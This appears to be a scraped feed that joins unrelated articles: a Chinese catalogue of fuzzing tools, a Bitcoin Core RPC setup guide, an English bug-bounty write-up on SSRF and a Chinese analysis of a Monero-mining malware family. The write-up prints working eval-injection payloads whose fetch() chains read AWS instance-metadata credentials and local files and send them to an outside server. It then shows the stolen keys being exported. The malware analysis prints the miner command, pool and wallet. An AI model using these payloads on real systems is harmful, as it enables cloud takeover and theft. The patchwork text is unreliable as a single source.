1.可以发送到L2以及上层(TCP / UDP / SCTP)
2.能够处理奇长度分组字段(无需匹配字节边界,因此即使单个标志或7位长字3.也可以表示和模糊)
4.非常容易的协议定义语法
5.能够做多包状态的完全模糊,能够使用接收到的目标数据作为响应

Address Sanitizer:
https://github.com/Google/sanitizers
地址Sanitizer、线Sanitizer、记忆Sanitizer

Diffy:
https://github.com/twitter/diffy
使用Diffy查找您的服务中的潜在错误

Wfuzz:
https://github.com/xmendez/wfuzz
Web应用程序HTTP://www.edge-security.com/wfuzz.php

Go-fuzz:
https://github.com/Google/gofuzz
基于放弃的模糊测试

Sulley:
https://github.com/OpenRCE/sulley
Sulley是一个积极开发的模糊引擎和模糊测试框架,由多个可扩展组件组成。Sulley(IMHO)超过了此前公布的大所属模糊技术、商业和公共领域的能力。框架的目标是不仅是可以简化数据表示,而且也可以简化数据传输和仪表。Sulley是以 Monsters Inc.的生物来命名的,因为,他是模糊的。写在python内的。

Sulley_l2:
http://ernw.de/download/sulley_l2.tar.bz2
有些人可能记得2008年发布的sulley_l2,它是sulley模糊框架的修改版本,增强了第2层发送功能和一堆(L2)模糊脚本。所有的blinking, rebooting, mem-corrupting引起了我们的一些关注。从那以后,我们继续写和使用这些模糊脚本,所以它的洞集合增长了。

CERT Basic Fuzzing Framework (BFF)For linux, OSX
https://github.com/CERTCC-Vulnerability-Analysis/certfuzz
http://www.cert.org/vulnerability-analysis/tools/bff.cfm
cert基本模糊框架(BFF)是一个软件测试工具,它用于在linux和mac os x平台上运行的应用程序中寻找漏洞。BFF对消耗文件输入的软件执行突变性的模糊测试。(突变性模糊测试是采取形式良好的输入数据并以各种方式破坏它的行为,寻找导致崩溃的情况。)BFF自动收集导致了软件以独特方式使测试用例崩溃,以及利用崩溃来调试信息。BFF的目标是去最小化软件供应商和安全研究人员通过模糊测试有效地发现和分析发现的安全漏洞过程中所需要的努力。

CERT Failure Observation Engine (FOE)For windows
http://www.cert.org/vulnerability-analysis/tools/foe.cfmhttps://github.com/CERTCC-Vulnerability-Analysis/certfuzz
The cert Failure Observation Engine (FOE) 是一个软件测试工具,它被用于在Windows平台上运行的应用程序中发现漏洞。FOE在消耗文件输入的软件上执行突变模糊测试。(突变性模糊测试是采取形式良好的输入数据并以各种方式破坏它的行为,寻找导致崩溃的情况。)FOE自动收集导致了软件以独特方式使测试用例崩溃,以及利用崩溃来调试信息。FOE的目标是去最小化软件供应商和安全研究人员通过模糊测试有效地发现和分析发现的安全漏洞过程中所需要的努力。

DranzerFor ActiveX Controls.
https://github.com/CERTCC-Vulnerability-Analysis/dranzer
Dranzer是一个工具,使用户能够检查有效的技术,它用于模糊测试ActiveX控件

Radamsaa general purpose fuzzer
https://github.com/aoh/radamsa
Radamsa是一个用于鲁棒性测试的测试用例生成器,也称为fuzzer。它可以用来测试一个程序是否可以承受格式错误以及潜在的恶意输入。它通过制造文件来工作(有趣的不同于通常给定的文件),然后将修改的文件提供给Target程序,或者这样或通过一些脚本。radamsa的主要卖点(而不是其他的模糊器)是:它是非常容易在大多数机器上运行,而且很容易从命令行脚本,这已经被用来找到程序中的一系列安全问题,而且你可能现在正在使用。

zzufApplication fuzzer
https://github.com/samhocevar/zzuf
zzuf是一个透明的应用程序输入模糊器。 它的工作原理是截取文件操作并更改程序输入中的随机位。zzuf的行为是确定性的,使得它很容易再现错误。 有关如何使用zzuf的说明和示例,请参阅手册页和网站http://caca.zoy.org/wiki/zzuf

Backfuzz
https://github.com/localh0t/backfuzz
Backfuzz是一个用python写成的有着不同协议(FTP,HTTP,IMAP等)的模糊工具。因为一般的想法是这个脚本有几个预定义的功能,所以谁想要编写自己的插件(为另一个协议)就可以在一些行这样做。

KEMUfuzzer
https://github.com/jrmuizel/kemufuzzer
KEmuFuzzer是一个基于仿真或直接本地执行测试系统虚拟机的工具。 目前KEmuFuzzer支持:BHOCS,QEMU,VMware和virtualbox。

Pathgrind
https://github.com/codelion/pathgrind
Pathgrind使用基于路径的动态分析来fuzz linux / unix二进制。 它是基于valgrind被写在python内的。

Wadi-fuzzer
https://www.sensepost.com/blog/2015/wadi-fuzzer/ https://gitlab.sensepost.com/saif/DOM-Fuzzer
Wadi是基于web浏览器语法的模糊器。 这个语法用于描述浏览器应该如何处理Web内容,Wadi转向并使用语法来打破浏览器。
Wadi是一个Fuzzing模块,用于NodeFuzz fuzzing Harness并利用AddressSanitizer(ASan)在Linux和Mac OSX上进行测试。
万维网联盟(W3C)是一个国际组织,它开发开放标准以确保Web的长期增长。 W3C允许我们搜索语法并在我们的测试用例中使用。

LibFuzzer, Clang-format-fuzzer, clang-fuzzer
http://llvm.org/docs/LibFuzzer.html
http://llvm.org/viewvc/llvm-project/cfe/trunk/tools/clang-format/fuzzer/ClangFormatFuzzer.cpp?view=markup
http://llvm.org/viewvc/llvm-project/cfe/trunk/tools/clang-fuzzer/ClangFuzzer.cpp?view=markup
我们在LibFuzzer上实现了两个模糊器:clang-format-fuzzer和clang-fuzzer。Clang格式大多是一个词法分析器,所以给它随机字节格式是会完美运行的,但也伴随着超过20个错误。然而Clang不仅仅是一个词法分析器,给它随机字节时几乎没有划伤其表面,所以除了测试随机字节,我们还在令牌感知模式中模糊了Clang。两种模式中都发现了错误; 其中一些以前被AFL检测到,另一些则不是:我们使用AddressSanitizer运行这个模糊器,结果发现一些错误在没有它的情况下不容易被发现。

Perf-fuzzer
http://www.eece.maine.edu/~vweaver/projects/perf_events/validation/https://github.com/deater/perf_event_testshttp://web.eece.maine.edu/~vweaver/projects/perf_events/fuzzer/
用于Linux perf_event子系统的测试套件

HTTP/2 Fuzzer
https://github.com/c0nrad/http2fuzz
HTTP2模糊器内置于Golang。

QuickFuzz
http://quickfuzz.org/
QuickFuzz是一个语法模糊器,由QuickCheck,模板Haskell和Hackage的特定库生成许多复杂的文件格式,如Jpeg,Png,Svg,Xml,Zip,Tar和更多! QuickFuzz是开源的(GPL3),它可以使用其他错误检测工具,如zzuf,radamsa,honggfuzz和valgrind。

SymFuzz
https://github.com/maurer/symfuzz
http://ieeexplore.IEEE.org/xpls/abs_all.jsp?arnumber=7163057
摘要?我们提出了一个算法的设计,以最大化数量的bug为黑盒子突变性的模糊给定一个程序和种子的输入。主要的直观性的是利用给定程序 - 种子对的执行轨迹上的白盒符号进行分析,来检测输入的BIT位置之间的依赖性,然后使用这种依赖关系来为该程序种子对计算概率上最佳的突变比率。我们的结果是有希望的:我们发现使用相同的模糊时间,这比8个应用程序中的三个以前的模糊器的平均错误多38.6%。

OFuzz
https://github.com/sangkilc/ofuzz
OFuzz是一个用OCaml编写的模糊平台。 OFuzz目前专注于在* nix平台上运行的文件处理应用程序。 OFuzz的主要设计原则是灵活性:必须容易添加/替换模糊组件(崩溃分类模块,测试用例生成器等)或算法(突变算法,调度算法)。

Bed
http://www.snake-basket.de/
网络协议fuzzer。 BED是一个程序,旨在检查守护程序的潜在缓冲区溢出、格式字符串等。

Neural Fuzzer
https://cifasis.github.io/neural-fuzzer/
神经模糊测试工具是一种实验性模糊器,它被设计使用国家最先进的机器,从一组初始文件学习。 它分为两个阶段:训练和生成。

Pulsar
https://github.com/hgascon/pulsar
协议学习,模拟和状态模糊器
Pulsar是一个具有自动协议学习和模拟能力的网络模糊器。该工具允许通过机器学习技术来建模协议,例如聚类和隐马尔可夫模型。这些模型可以用于模拟Pulsar与真实客户端或服务器之间进行通信,这些消息,在一系列模糊原语的结合下,让测试一个未知协议错误的实施在更深的状态协议。

D-bus fuzzer:
https://github.com/matusmarhefka/dfuzzer
dfuzzer是D-Bus模糊器,是用于通过D-Bus进行通信的模糊测试过程的工具。它可以用于测试连接到会话总线和系统总线守护程序的进程。模糊器为客户端工作,它首先连接到总线守护进程,然后它遍历并模糊测试由D-Bus服务提供的所有方法。

Choronzon
https://census-labs.com/news/2016/07/20/choronzon-public-release/
Choronzon是一个进化型的模糊工具。它试图模仿进化过程,以保持产生更好的结果。 为了实现这一点,它具有评估系统的能力,用以分类哪些模糊文件是有趣的,哪些应该被丢弃。
此外,Choronzon是一个基于知识的模糊器。 它使用用户定义的信息来读取和写入目标文件格式的文件。要熟悉Choronzon的术语,您应该考虑每个文件由染色体表示。用户应该描述所考虑的文件格式的基本结构, 优选文件格式的高级概述,而不是描述它的每个细节和方面。那些用户定义的基本结构中的每一个都被认为是基因, 每个染色体包含一个基因树,并且它能够从中构建相应的文件。

Exploitable
这里写图片描述
‘exploitable’是一个GDB扩展,它会按严重性分类Linux应用程序错误。扩展检查已崩溃的Linux应用程序的状态,并输出攻击者利用底层软件错误获得系统控制有多困难的总结。扩展可以用于为软件开发人员确定bug的优先级,以便他们可以首先解决最严重的bug。
该扩展实现了一个名为“exploitable”的GDB命令。 该命令使用启发式来描述当前在GDB中调试的应用程序的状态的可利用性。 该命令旨在用于包含GDB Python API的Linux平台和GDB版本。 请注意,此时命令将无法在核心文件目标上正确运行。

Hodor
这里写图片描述

我们想设计一个通用的模糊器,可以用来配置使用已知的良好的输入和分隔符,以模糊特定的位置。在一个完全愚钝的模糊器和一些更聪明的东西之间,与实现适当的智能模糊器相比,表现着更少的努力。

BrundleFuzz
https://github.com/carlosgprado/BrundleFuzz
BrundleFuzz是一个用于Windows和Linux的分布式模糊器,使用动态二进制仪器。

Netzob
https://www.netzob.org/
用于通信协议的逆向工程、流量生成和模糊化的开源工具
P
assiveFuzzFrameworkOSX
该框架用于在内核模式下基于被动内联挂钩机制来模糊OSX内核漏洞。

syntribos
OpenStack安全组的Python API安全测试工具

honggfuzz
http://google.github.io/honggfuzz/
一个通用的,易于使用的有趣的分析选项的模糊器。 支持基于代码覆盖率的反馈驱动的模糊测试

dotdotpwn
http://dotdotpwn.blogspot.com/
目录遍历模糊工具

KernelFuzzer
跨平台内核Fuzzer框架。DEF CON 24视频:
https://www.youtube.com/watch?v=M8ThCIfVXow

PyJFuzz
PyJFuzz - Python JSON Fuzzer
PyJFuzz是一个小的、可扩展的和现成可用的框架,用于模糊JSON输入,如移动端点REST API,JSON实现,浏览器,cli可执行和更多。

RamFuzz
单个方法参数的模糊器。

EMFFuzzer
基于桃树模糊框架的增强的元文件模糊器

js-fuzz
一个基于javascript的AFL启发的遗传模糊测试器。

syzkaller
syzkaller是一个无监督的、覆盖引导的Linux系统调用模糊器。

2.模糊线束/框架使fuzzer提高:

FuzzFlow
Fuzzflow是来自cisco talos的一个分布式的模糊管理框架,它提供虚拟机管理,模糊作业配、可插拔变异引擎、前/后变形脚本、崩溃收集和可插拔崩溃分析。

fuzzinator
Fuzzinator是一个模糊测试框架,可以帮助你自动化任务,它通常需要在一个fuzz会话:
运行您最喜欢的测试生成器并将测试用例馈送到测试中的系统,
抓住和保存独特的问题,
减少失败的测试用例,
缓解错误跟踪器中的问题报告(例如,Bugzilla或GitHub),
如果需要,定期更新SUT
计划多个SUT和发电机,而不会使工作站超载。

Fuzzlabs
https://github.com/DCNWS/FuzzLabs
FuzzLabs在一个模块化的模糊框架中,用Python编写。 它使用了令人惊叹的Sulley模糊框架的修改版本作为核心引擎。 FuzzLabs仍在开发中。

Nodefuzz
https://github.com/attekett/NodeFuzz
对于Linux和Mac OSX。 NodeFuzz是一个用于网络浏览器和类似浏览器的应用程序的模糊器。 NodeFuzz背后有两个主要的想法:第一是创建一个简单、快速、不同浏览器的fuzz方法。 第二,有一个线束,可以轻松地扩展与新的测试用例发生器和客户端仪器,无需修改核心。

Grinder
https://github.com/stephenfewer/grinder
对于windows
Grinder是一个自动化浏览器的模糊化和大量崩溃管理的系统。

Kitty
https://github.com/Cisco-sas/kitty
Kitty是一个开源的模块化和可扩展的模糊框架,使用python编写,灵感来自OpenRCE的Sulley和Michael Eddington(现在是Deja vu Security的)Peach Fuzzer。

Peach
http://community.peachfuzzer.com/
https://github.com/MozillaSecurity/peach
Peach是一个SmartFuzzer,能够执行基于生成和基于突变的模糊测试。

3.此外,还有这些免费的但不是开源的fuzzer:

SDL MiniFuzz File Fuzzer
https://www.Microsoft.com/en-us/download/details.aspx?id=21769
对于Windows。 SDL MiniFuzz File Fuzzer是一个基本的文件模糊工具,旨在简化非安全开发人员对模糊测试的采用,这些非安全开发人员不熟悉文件模糊工具或从未在当前的软件开发过程中使用它们。

Rfuzz
http://rfuzz.rubyforge.org/index.html
RFuzz是一个Ruby库,可以使用快速HttpClient和wicked vil RandomGenerator轻松地从外部测试Web应用程序,它允许普通程序员每天使用先进的模糊技术。

Spike
http://www.immunitysec.com/downloads/SPIKE2.9.tgz
SPIKE是一个API框架,允许你编写模糊器。

Regex Fuzzer
http://go.microsoft.com/?linkid=9751929
DL Regex Fuzzer是一个验证工具,用于帮助测试正则表达式是否存在潜在的拒绝服务漏洞。它包含用指数时间执行的某些子句的正则表达式模式(例如,包含自身重复的重复的子句)可以被攻击者利用来引起拒绝服务(DoS)条件。SDL Regex Fuzzer与SDL过程模板和MSF-Agile + SDL过程模板集成,以帮助用户跟踪和消除其项目中的任何检测到的正则表达式漏洞。

4.博客,将帮助你fuzz更好
Yawml的开始到完成模糊与AFL(一个完整的fuzzjob由foxglovesecurity)
http://foxglovesecurity.com/2016/03/15/fuzzing-workflows-a-fuzz-job-from-start-to-finish/

Fuzz更聪明,更难 - 用afl引发模糊,来自bsidessf2016的引物
https://www.peerlyst.com/posts/bsidessf-2016-recap-of-fuzz-smarter-not-harder-an-afl-primer-claus-cramon

Fuzzing和afl是一种艺术
Fuzzing nginx 和 American Fuzzy Lop
您可以在此处的评论或此Google文档中发表建议:
https://docs.google.com/document/d/17pZxfs8hXBCnhfHoKfJ7JteGziNB2V_VshsVxmNRx6U/edit?usp=sharing

BSidesLisbon 2016主题演讲:智能模糊器革命
Windows内核模糊初学者 - Ben Nagy

5.其他Fuzzer博客:
循环使用编译器转换的模糊包版
谷歌推出了OSS-Fuzz(感谢Dinko Cherkezov) - 一个项目,旨在不断开发开源项目fuzz:
OSS-Fuzz现在正在测试中,并即将接受候选开源项目的建议。为了使项目被OSS-Fuzz接受,它需要有一个庞大的用户基础或针对于至关重要的全球IT基础设施,这是一个通用启发式方法,我们有意在这个早期阶段解释。查看更多详情和说明如何在这里申请。
一旦项目注册了OSS-Fuzz,它将自动接收到我们的跟踪器中,新报告的错误披露截止于90天后(见此处的详细信息)。 这符合行业的最佳实践,并通过更快地为用户提供补丁来提高最终用户的安全性和稳定性。
帮助我们确保这个程序真正服务于开源社区和依赖这个关键软件的互联网,贡献和留下您的反馈在GitHub。

这里写图片描述

6.商业模糊器

超越安全的暴风雨
http://www.beyondsecurity.com/bestorm_and_the_SDL.html
管理员编辑:查找更多真棒Peerlyst社区贡献的资源,资源目录在这里
这里写图片描述

7.关于浏览器的Fuzzing

Skyfire 一种用于Fuzzing的数据驱动的种子生成工具
https://www.inforsec.org/wp/?p=2678
https://www.ieee-security.org/TC/SP2017/papers/42.pdf

使用libFuzzer fuzz Chrome V8入门指南
http://www.4hou.com/info/news/6191.html


          比特币核心部署并通过RPC在远程机器调用      Cache   Translate Page      

准备条件:硬盘200G以上
Bitcoin core下载:https://bitcoin.org/en/download 选择自己需要的版本
以Centos服务器部署为例
说明:其中,192.168.1.200为服务器ip; 192.168.1.111为客户端mac IP.

wget https://bitcoin.org/bin/bitcoin-core-0.13.0/bitcoin-0.13.0-x86_64-linux-gnu.tar.gz
如果wget失败,可以通过scp命令从Mac传到Centos服务器,格式:"scp src-path dst-path",如:

scp /Users/xxx/Downloads/bitcoin-0.16.0-x86_64-linux-gnu.tar.gz root@192.168.1.200:/root/        

tar -zvxf bitcoin-0.16.0-x86_64-linux-gnu.tar.gz

可执行文件有:bitcoin-cli bitcoind  bitcoin-qt  bitcoin-tx test_bitcoin,将其安装到bin文件夹中:

sudo install -m 0755 -o root -g root -t /usr/local/bin bitcoin-0.13.0-x86_64-linux-gnu.tar.gz/bin/*
  • 配置bitcoin.conf
创建bitcoin.conf

mkdir ~/.bitcoin

touch ~/.bitcoin/bitcoin.conf

chmod 600 ~/.bitcoin/bitcoin.conf

编写bitcoin.conf

vi ~/.bitcoin/bitcoin.conf

bitcoin.conf文件内容如下:

server=1

rpcuser=xxx

rpcpassword=xxxx

rpcallowip=192.168.1.111/255.255.255.0 //运行远程访问的机器IP

备注:默认rpc端口为:8332;默认同步端口为:8333,这两个的防火墙要打开~

  • 启动运行

bitcoind -deamon

  • 查看节点区块同步状态

tail –f ~/.bitcoin/debug.log

  • centos测试:

bitcoin-cli getdifficulty

  • 远程机器mac端测试:
curl -X POST -H "Content-Type: text/plain" 192.168.1.200:8332 -u xxx:xxxx --data '{"method": "getblockhash","params": [0],"id": "foo"}'

补充-防火墙相关配置:

查看已结开放的端口:

firewall-cmd --list-ports

开启、关闭端口:

firewall-cmd --zone=public --add-port=8332/tcp --permanent 
firewall-cmd --zone=public --remove-port=8332/tcp --permanent

命令含义:

–zone #作用域

–add-port=80/tcp #添加端口,格式为:端口/通讯协议

–permanent #永久生效,没有此参数重启后失效

重启防火墙

firewall-cmd --reload #重启firewall

systemctl stop firewalld.service #停止firewall

systemctl disablefirewalld.service #禁止firewall开机启动


          AWS takeover through SSRF in JavaScript      Cache   Translate Page      

Here is the story of a bug I found in a private bug bounty program on Hackerone. It toke me exactly 12h30 -no break- to find it, exploit and report. I was able to dump the AWS credentials, this lead me to fully compromise the account of the company: 20 buckets and 80 EC2 instances (Amazon Elastic Compute Cloud) in my hands. Besides the fact that it’s one of my best bug in my hunter career, I also learnt alot during this sprint, so let’s share!

Intro

As I said, the program is private so the company, let’s call it: ArticMonkey.
For the purpose of their activity -and their web application- ArticMonkey has developed a custom macro language, let’s call it: Banan++. I don’t know what language was initially used for the creation of Banan++ but from the webapp you can get a JavaScript version, let’s dig in!

The original banan++.js file was minified, but still huge, 2.1M compressed, 2.5M beautified, 56441 lines and 2546981 characters, enjoy. No need to say that I didn’t read the whole sh… By searching some keywords very specific to Banan++, I located the first function in line 3348. About 135 functions were available at that time. This was my playground.

Spot the issue

I started to read the code by the top but most of the functions were about date manipulation or mathematical operations, nothing really insteresting or dangerous. After a while, I finally found one called Union() that looked promising, below the code:

helper.prototype.Union = function() {
   for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++) args[_key22] = arguments[_key22];
   var value = args.shift(),
    symbol = args.shift(),
    results = args.filter(function(arg) {
     try {
      return eval(value + symbol + arg)
     } catch (e) {
      return !1
     }
    });
   return !!results.length
  }

Did you notice that? Did you notice that kinky eval()? Looks sooooooooooo interesting! I copied the code on a local HTML file in order to perform more tests.

Basically the function can take from 0 to infinite arguments but start to be useful at 3. The eval() is used to compare the first argument to the third one with the help of the second, then the fourth is tested, the fifth etc… Normal usage should be something like Union(1,'<',3); and the returned value true if at least one of these tests is true or false.
However there is absolutely no sanitization performed or test regarding the type and the value of the arguments. With the help of my favourite debugger -alert()- I understood that an exploit could be triggered in many different ways:

Union( 'alert()//', '2', '3' );
Union( '1', '2;alert();', '3' );
Union( '1', '2', '3;alert()' );
...

Find an injection point

Ok so I had a vulnerable function, which is always good, but what I needed was a input to inject some malicious code. I remembered that I already seen some POST parameters using Banan++ functions so I performed a quick search in my Burp Suite history. Got it:

POST /REDACTED HTTP/1.1
Host: api.REDACTED.com
Connection: close
Content-Length: 232
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3502.0 Safari/537.36 autochrome/red
Content-Type: application/json;charset=UTF-8
Referer: https://app.REDACTED.com/REDACTED
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: auth=REDACTED

{...REDACTED...,"operation":"( Year( CurrentDate() ) > 2017 )"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 54
Connection: close
X-Content-Type-Options: nosniff
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15768000; includeSubDomains
...REDACTED...

[{"name":"REDACTED",...REDACTED...}]

The parameter operation seems to be a good option. Time for testing!

Perform the injection

Since I didn’t know anything about Banan++, I had to perform some tests in order to find out what kind of code I could inject or not. Sort of manual fuzzing.

{...REDACTED...,"operation":"'\"><"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":null}
[]
{...REDACTED...,"operation":"0"}
[]
{...REDACTED...,"operation":"1"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"a"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"a=1"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert()"}
{"status":400,"message":"Function 'alert' is not defined"}
{...REDACTED...,"operation":"Union()"}
[]

What I conclued here was:

  • I cannot inject whatever JavaScript I want
  • I can inject Banan++ functions
  • the response seems to act like a true/false flag depending if the interpretation of parameter operation is true or false (which was very useful because it helped to validate the code I injected)

Let’s continue with Union():

{...REDACTED...,"operation":"Union(1,2,3)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union(a,b,c)"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a','b','c')"}
{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a';'b';'c')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'2';'3')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'<';'3')"}
[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'>';'3')"}
[]]

Perfect! If 1 < 3 then the response contains valid datas (true), but if 1 > 3 then the response is empty (false). Parameters must be separated by a semi colon. I could now try a real attack.

fetch is the new XMLHttpRequest

Because the request is an ajax call to the api that only returns JSON datas, it’s obviously not a client side injection. I also knew from a previous report that ArticMonkey tends to use alot JavaScript server side.

But it doesn’t matter, I had to try everything, maybe I could trigger an error that would reveal informations about the system the JavaScript runs on. Since my local testing, I knew exactly how to inject my malicious code. I tried basic XSS payloads and malformed JavaScript but all I got was the error previously mentionned.

I then tried to fire an HTTP request.

Through ajax call first:

x = new XMLHttpRequest;
x.open( 'GET','https://poc.myserver.com' );
x.send();

But didn’t receive anything. I tried HTML injection:

i = document.createElement( 'img' );
i.src = '<img src="https://poc.myserver.com/xxx.png">';
document.body.appendChild( i );

But didn’t receive anything! More tries:

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">';
document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

But didn’t receive anything!!!

Sometimes you know, you have to test stupid things by yourself to understand how stupid it was… Obviously it was a mistake to try to render HTML code, but hey! I’m just a hacker… Back to the ajax request, I stay stuck there for a while. It toke me quite a long time to figure out how to make it work.

I finally remembered that ArticMonkey uses ReactJS on their frontend, I would later learnt that they use NodeJS server side. Anyway, I checked on Google how to perform an ajax request with it and found the solution in the official documention which lead me to the fetch() function which is the new standard to perform ajax call, that was the key.

I injected the following:

fetch('https://poc.myserver.com')

And immediately got a new line in my Apache log.

Being able to ping my server is a thing but it’s a blind SSRF, I had no response echoed back. I had the idea to chain two requests where the second would send the result of the first one. Something like:

x1 = new XMLHttpRequest;
x1.open( 'GET','https://...', false );
x1.send();
r = x1.responseText;

x2 = new XMLHttpRequest;
x2.open( 'GET','https://poc.myserver.com/?r='+r, false );
x2.send();

Again it toke me while to get the correct syntax with fetch(). Thanks StackOverflow.

I ended with the following code which works pretty well:

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

Of course, Origin policy applies.

SSRF for the win

I firstly tried to read local files:

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

But the response (r parameter) in my Apache log file was empty.

Since I found some S3 buckets related to ArticMonkey (articmonkey-xxx), I thought that this company might also use AWS servers for their webapp (which was also confirmed by the header in some responses x-cache: Hit from cloudfront). I quickly jump on the list of the most common SSRF URL for Cloud Instances.

And got a nice hit when I tried to access the metadatas of the instance. aws takeover through ssrf in javascript

Final payload:

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

Decoded output is the directory listing returned:

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
...

Since I didn’t know anything about AWS metadatas, because it was my first time in da place. I toke time to explore the directories and all files at my disposition. As you will read everywhere, the most insteresting one is http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>. Which returned:

{
  "Code":"Success",
  "Type":"AWS-HMAC",
  "AccessKeyId":"...REDACTED...",
  "SecretAccessKey":"...REDACTED...",
  "Token":"...REDACTED...",
  "Expiration":"2018-09-06T19:24:38Z",
  "LastUpdated":"2018-09-06T19:09:38Z"
}

Exploit the credentials

At that time, I though that the game was ended. But for my PoC I wanted to show the criticity of this leak, I wanted something really strong! I tried to use those credentials to impersonate the company. You have to know that they are temporary credentials, only valid for a short period, 5mn more or less. Anyway, 5mn is supposed to be enough to update my own credentials to those ones, 2 copy/paste, I think I can handle that… err…

I asked for help on Twitter from SSRF and AWS master. Thank guys, I truely appreciate your commitment, but I finally found the solution in the UserGuide of AWS Identity and Access Management. My mistake, except to not read the documentation (…), was to only use AccessKeyId and SecretAccessKey, this doesn’t work, the token must also be exported. Kiddies…

$ export AWS_ACCESS_KEY_ID=AKIAI44...
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
$ export AWS_SESSION_TOKEN=AQoDYXdzEJr...

Checking my idendity with the following command proved that I was not myself anymore.

aws sts get-caller-identity

And then…
aws takeover through ssrf in javascript

Left: listing of the EC2 instances configured by ArticMonkey. Probably a big part -or the whole- of their system.

Right: the company owns 20 buckets, containing highly sensitive datas from customers, static files for the web application, and according to the name of the buckets, probably logs/backups of their server.

Impact: lethal.

Timeline

06/09/2018 12h00 - beginning of the hunt
07/09/2018 00h30 - report
07/09/2018 19h30 - fix and reward

Thanks to ArticMonkey for being so fast to fix and reward, and agreed this article :)

Conclusion

I learnt alot because of this bug:

  • ReactJS, fetch(), AWS metadatas.
  • RTFM! The official documentation is always a great source of (useful) informations.
  • At each step new problems appeared. I had to search everywhere, try many different things, I had to push my limits to not give up.
  • I now know that I can fully compromise a system by myself starting from 0, which is a great personal achievement and statisfaction :)

When someone tells you that you’ll never be able to do something, don’t waste your time to bargain with these peoples, simply prove them they’re wong by doing it.


          事件分析 | 门罗币挖矿新家族「罗生门」      Cache   Translate Page      

一、前言

腾讯安全云鼎实验室通过部署的威胁感知系统捕获了一批挖矿样本(具有同源性),是一批可挖取门罗币(xmr)的挖矿病毒。这批样本今年5月开始出现,目前各大杀软对此样本基本无法有效查杀,腾讯云云镜第一时间跟进查杀。根据进一步溯源的信息可以推测该挖矿团伙利用被入侵的博彩网站服务器进行病毒传播。

分析显示,此挖矿样本不具有传播性,总体结构式是 Loader + 挖矿子体,挖矿团伙通过控制的机器进行远程 SSH 暴力破解并将病毒进行传播。由于目前能对付此病毒的杀软极少,且该病毒通过入侵的赌博网站服务器进行病毒传播、挖矿,让真相扑朔迷离,云鼎实验室威胁情报小组将本次门罗币挖矿新家族命名为「罗生门」。

二、入侵分析

挖矿样本通过母体释放挖矿子体,母体是 Loader ,释放挖矿子体,执行挖矿子体。母体本身不包含 SSH 爆破等蠕虫动作,子体就是单纯的挖矿代码(加壳变形 UPX)。通过观测发现,进行 SSH 爆破的主机 IP 较少且固定,可以认定为固定机器,使用工具进行扫描、爆破。通过这种广撒网的方式,犯罪团伙能收获不少门罗币。

攻击流程图:

门罗币挖矿新家族「罗生门」

攻击过程示意:

门罗币挖矿新家族「罗生门」

攻击日志来源:http://bikewiki.jp:5000/app/2018/07/27/073148-4879.log

母体 Loader 详细分析:

母体 Loader 的行为包含自启动和释放运行文件两个部分。

门罗币挖矿新家族「罗生门」

自启动代码:

在函数 main_Boot 中通过 sed 编辑 rc.local 和 boot.local 来进行自启动。

释放文件:

门罗币挖矿新家族「罗生门」

执行文件:

门罗币挖矿新家族「罗生门」

三、病毒子体分析

通过对挖矿样本进行分析发现,子体是一个加壳后的标准矿机程序,子体加壳也是导致杀软无法查杀的一个方式。子体加壳为 UPX 变形壳,可以抵抗通用脱壳机的脱壳。手动脱壳后发现为标准挖矿程序(开源矿机程序)。

相关开源项目连接为:https://github.com/sumoprojects/cryptonote-sumokoin-pool

门罗币挖矿新家族「罗生门」

四、矿池分析与统计

据观测今年5月至9月初,蜜罐捕获的「罗生门」挖矿病毒累计挖出约12.16个门罗币,价值约1w人民币(2018年10月8日,门罗币价格为114.2USD,合计1388.67美金),算力为8557H/S,大约是皮皮虾矿池的百分之一算力。从算力上看,这种广撒网式的传播,也能有一定的规模。

挖矿样本执行挖矿的命令如下:

-B -ostratum+tcp://mine.ppxxmr.com:7777-u 41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCM'Qf1FwzqEi-px -k --max-cpu-usage=75

从挖矿命令中可知,挖矿样本对 CPU 利用率有一定的限制,最大 CPU 使用量为75%。

挖矿样本针对的矿池地址和门罗币(xmr)产量如下:

门罗币挖矿新家族「罗生门」

对应的钱包地址为:

钱包地址:

45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT

